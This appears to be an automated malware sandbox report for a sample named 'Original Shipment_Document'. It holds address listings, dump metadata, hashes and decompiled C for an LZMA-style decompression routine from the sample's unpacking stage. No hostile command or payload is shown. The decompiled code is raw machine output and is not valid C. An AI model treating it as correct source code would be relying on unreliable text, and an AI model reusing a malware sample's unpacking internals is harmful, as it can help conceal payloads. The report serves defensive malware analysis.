0x00000000
0x00406c50
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00406c67
0x00000000
0x00406e9d
0x00406ea1
0x00406ebf
0x00406ec2
0x00406ec9
0x00406ecc
0x00406ecf
0x00406ed2
0x00406ed5
0x00406ed8
0x00406eda
0x00406ee1
0x00406ee2
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406eed
0x00406ef2
0x00000000
0x00406ef2
0x00406ea3
0x00406ea6
0x00406ea9
0x00406eb3
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00406f07
0x00406f0b
0x00406f2e
0x00406f31
0x00406f34
0x00406f3e
0x00406f0d
0x00406f0d
0x00406f10
0x00406f13
0x00406f16
0x00406f23
0x00406f26
0x00406f26
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00406f4a
0x00406f4e
0x00000000
0x00000000
0x00406f54
0x00406f58
0x00000000
0x00000000
0x00406f5e
0x00406f60
0x00406f64
0x00406f64
0x00406f67
0x00406f6b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00000000
0x00407450
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00000000
0x00000000
0x00407234
0x00407238
0x0040725a
0x0040725d
0x00407267
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x00000000
0x00407328
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e5
0x004072e6
0x00000000
0x00000000
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00407033
0x00407036
0x00407039
0x0040703b
0x0040703d
0x0040703d
0x0040703e
0x00407041
0x00407048
0x0040704b
0x00407059
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x00000000
0x0040733e
0x0040733e
0x00407342
0x0040747a
0x00000000
0x0040747a
0x00407348
0x0040734b
0x0040734e
0x00407352
0x00407355
0x0040735b
0x0040735d
0x0040735d
0x0040735d
0x00407360
0x00407363
0x00407363
0x00407363
0x00407363
0x00407366
0x00407366
0x0040736a
0x004073ca
0x004073cd
0x004073d2
0x004073d3
0x004073d5
0x004073d7
0x004073da
0x004072e6
0x004072e6
0x00000000
0x004072ec
0x004072e6
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738a
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073bc
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x00000000
0x00407061
0x00407064
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00000000
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000
0x00407499
0x004072e6
0x0040726d
0x0040726a
0x00000000
0x00406fbf

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9937c35aa34803c0ec185ece5e84ac71bfec761af00328b89af2ba093ab12211
Instruction ID: e79abdf9917e1b0942e39fca47e1ede282e873968176da0823b4a4e8bca0445d
Opcode Fuzzy Hash: 9937c35aa34803c0ec185ece5e84ac71bfec761af00328b89af2ba093ab12211
Instruction Fuzzy Hash: 0A712371E04229CBDB28CF98C884BADBBB1FB44305F14816EE856B7291C7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406F07 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406F07() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004074A1))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
